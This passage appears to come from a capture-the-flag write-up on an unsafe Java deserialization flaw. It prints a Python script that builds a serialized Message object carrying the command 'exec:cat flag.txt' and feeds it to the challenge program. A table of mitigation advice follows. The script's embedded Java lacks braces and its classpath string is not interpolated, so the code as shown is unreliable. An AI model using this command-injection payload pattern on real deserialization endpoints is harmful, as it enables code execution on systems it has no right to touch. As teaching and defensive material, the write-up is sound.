7. Full Exploit Script (Python + subprocess)

For completeness, here is a short script that automates the whole process – useful when the challenge runs on a remote host. Running the script prints the flag in one shot

#!/usr/bin/env python3
import subprocess, os, sys, tempfile
JAR = "challenge.jar"
# 1️⃣  Write a temporary Java source that creates the malicious Message
java_src = """
import java.io.*;
import utils.Message;
public class Gen 
    public static void main(String[] args) throws Exception 
        Message m = new Message("exec:cat flag.txt", 1337);
        try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("payload.ser"))) 
            out.writeObject(m);
"""
with tempfile.TemporaryDirectory() as td:
    src_path = os.path.join(td, "Gen.java")
    ser_path = os.path.join(td, "payload.ser")
    with open(src_path, "w") as f:
        f.write(java_src)
# Compile
    subprocess.check_call(["javac", "-cp", JAR, src_path])
    # Run generator
    subprocess.check_call(["java", "-cp", f"td:JAR", "Gen"], cwd=td)
# Send payload to the challenge
    with open(ser_path, "rb") as payload:
        proc = subprocess.Popen(["java", "-jar", JAR],
                                stdin=payload,
                                stdout=subprocess.PIPE,
                                stderr=subprocess.PIPE)
        out, err = proc.communicate()
        print(out.decode())

Running the script prints the flag in one shot.

8. Mitigation Recommendations

| Issue | Recommendation | |-------|----------------| | Unsafe deserialization – Message.readObject executes arbitrary commands based on the payload. | Never execute untrusted data. Remove the exec: logic or, if command execution is required, whitelist allowed commands and validate the input. | | Missing input validation – No checks on payload length or content. | Enforce strict schema validation before deserialization (e.g., use JSON / protobuf instead of Java serialization). | | Use of ObjectInputStream with enableResolveObject(true) – This enables custom object resolution, which can be abused. | Prefer safer alternatives (ObjectMapper for JSON) and disable resolveObject unless absolutely needed. | | No sandbox – The process runs with the same privileges as the user, allowing Runtime.exec. | Run deserialization in a sandbox (Docker container, limited user, seccomp profile). | | Hard‑coded flag location – flag.txt resides in the same directory as the service. | Store secrets outside the execution environment (environment variables, secret manager). |
